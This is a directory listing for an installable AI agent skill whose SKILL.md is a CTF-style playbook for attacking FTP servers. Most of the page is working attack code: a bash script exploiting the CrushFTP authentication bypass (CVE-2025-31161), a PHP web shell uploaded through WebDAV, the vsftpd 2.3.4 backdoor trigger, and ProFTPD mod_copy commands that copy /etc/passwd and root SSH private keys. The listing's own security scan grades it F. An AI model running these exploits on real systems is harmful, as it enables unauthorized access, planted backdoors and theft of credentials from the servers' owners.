Skip to content
Back to skills

Ftp Exploitation

FSecurity

This skill should be used when FTP services are detected including: - CrushFTP (CVE-2025-31161 auth bypass) - vsftpd (backdoor) - ProFTPD (mod_copy) - Pure-FTPd, FileZilla Server Covers authentication bypass, file access, and privilege escalation.

  • 5 stars
  • 0 votes
  • 0 copies
  • 2 views
  • Added May 26, 2026
securityphpshellbashawsapidatabase

Works with

  • api

Security analysis

F34/100
  • mediumUses curl or wget to download content
  • criticalAccesses sensitive system or user directories
  • criticalAccesses sensitive system or user directories
  • criticalReads or references SSH private keys
  • criticalExfiltrates credentials via HTTP — exact pattern from Snyk ToxicSkills study
  • criticalExfiltrates credentials via HTTP — exact pattern from Snyk ToxicSkills study

Pro shows the line behind each finding and how to fix it

Scanned May 27, 2026

npx -y skills add allsmog/blackbox-claude-plugin --skill ftp-exploitation --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Ftp Exploitation?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Ftp Exploitation
[![Security: F — Skills Directory](https://www.skillsdirectory.com/api/skills/allsmog-ftp-exploitation/badge)](https://www.skillsdirectory.com/skills/allsmog-ftp-exploitation)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: FTP Server Exploitation
description: |
  This skill should be used when FTP services are detected including:
  - CrushFTP (CVE-2025-31161 auth bypass)
  - vsftpd (backdoor)
  - ProFTPD (mod_copy)
  - Pure-FTPd, FileZilla Server
  Covers authentication bypass, file access, and privilege escalation.
version: 1.0.0
---

# FTP Server Exploitation Skill

## Service Identification

### Banner Analysis
```bash
# Nmap FTP detection
nmap -sV -sC -p 21 <TARGET>

# Manual banner grab
nc <TARGET> 21
curl ftp://<TARGET>
```

### Common FTP Servers
| Banner Contains | Server | Notable Vulns |
|-----------------|--------|---------------|
| CrushFTP | CrushFTP | CVE-2025-31161 auth bypass |
| vsFTPd 2.3.4 | vsftpd | Backdoor RCE |
| ProFTPD 1.3.5 | ProFTPD | mod_copy arbitrary write |
| Pure-FTPd | Pure-FTPd | Check version for vulns |
| FileZilla | FileZilla Server | Config file disclosure |

## CVE-2025-31161: CrushFTP Authentication Bypass

**CRITICAL** - Allows unauthenticated access to any user account

### Affected Versions
- CrushFTP < 11.3.1 (v11 branch)
- CrushFTP < 10.8.4 (v10 branch)

### Detection
```bash
# Look for CrushFTP web interface
curl -s http://<TARGET>/WebInterface/ | grep -i crush

# Check version in response headers
curl -sI http://<TARGET>/WebInterface/
```

### Exploit: AWS4-HMAC-SHA256 Auth Bypass

```bash
#!/bin/bash
# CrushFTP Auth Bypass - CVE-2025-31161

TARGET="ftp.target.htb"
USER="admin"  # User to impersonate (try: admin, crushadmin, root)

# Generate session cookie
timestamp=$(date +%s)
random=$(head -c 30 /dev/urandom | base64 | tr -dc a-zA-Z0-9 | head -c 30)
cookie="${timestamp}_${random}"
c2f="${cookie: -4}"

# Authenticate as any user without password
curl -s -X POST "http://${TARGET}/WebInterface/function/" \
  -H "Cookie: CrushAuth=${cookie}" \
  -H "Authorization: AWS4-HMAC-SHA256 Credential=${USER}/" \
  -d "command=getUsername&c2f=${c2f}"

echo ""
echo "Authenticated as ${USER}"

# List users (if admin)
curl -s -X POST "http://${TARGET}/WebInterface/function/" \
  -H "Cookie: CrushAuth=${cookie}; currentAuth=${c2f}" \
  -d "command=getUserList&c2f=${c2f}&serverGroup=MainUsers"

# List VFS (virtual filesystem)
curl -s -X POST "http://${TARGET}/WebInterface/function/" \
  -H "Cookie: CrushAuth=${cookie}; currentAuth=${c2f}" \
  -d "command=getXMLListing&c2f=${c2f}&path=/"
```

### File Upload via WebDAV
```bash
# Upload PHP shell (if VFS maps to web root)
echo '<?php system($_GET["cmd"]); ?>' | curl -s -X PUT \
  "http://${TARGET}/webProd/shell.php" \
  -H "Cookie: CrushAuth=${cookie}; currentAuth=${c2f}" \
  --data-binary @-

# Access shell
curl "http://target.htb/shell.php?cmd=id"
```

### Enumerate VFS Paths
```bash
# Common VFS paths to check
/webProd    # Often maps to web root
/home       # User home directories
/IT         # IT department files
/backup     # Backup files
/.ssh       # SSH keys!
```

## vsftpd 2.3.4 Backdoor

```bash
# Trigger backdoor with :) in username
nc <TARGET> 21
USER backdoored:)
PASS anything

# Connect to backdoor shell
nc <TARGET> 6200
```

## ProFTPD mod_copy (CVE-2015-3306)

```bash
# Copy files without authentication
nc <TARGET> 21
site cpfr /etc/passwd
site cpto /var/www/html/passwd.txt

# Copy SSH key
site cpfr /root/.ssh/id_rsa
site cpto /var/www/html/id_rsa
```

## Anonymous FTP Access

```bash
# Check anonymous login
ftp <TARGET>
# Username: anonymous
# Password: anonymous@

# Or via curl
curl ftp://anonymous:anonymous@<TARGET>/

# Download all files
wget -r ftp://anonymous:anonymous@<TARGET>/
```

## FTP Bounce Attack

```bash
# Use FTP server to scan internal network
nmap -b anonymous:anonymous@<TARGET> 10.0.0.0/24
```

## Post-Exploitation: Password Hunting

After gaining FTP access, search for:
```bash
# Config files
grep -r "password" /path/to/ftp/
grep -r "pass" /path/to/ftp/
grep -r "credential" /path/to/ftp/

# Common password locations
config.php
.env
web.config
settings.xml
database.yml
```

## CrushFTP VFS to SSH Key

If CrushFTP VFS exposes /root or user home directories:
```bash
# Check for SSH keys
curl -s "http://${TARGET}/.ssh/id_rsa" \
  -H "Cookie: CrushAuth=${cookie}; currentAuth=${c2f}"

# Or via API
curl -s -X POST "http://${TARGET}/WebInterface/function/" \
  -H "Cookie: CrushAuth=${cookie}; currentAuth=${c2f}" \
  -d "command=getXMLListing&c2f=${c2f}&path=/.ssh"
```

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.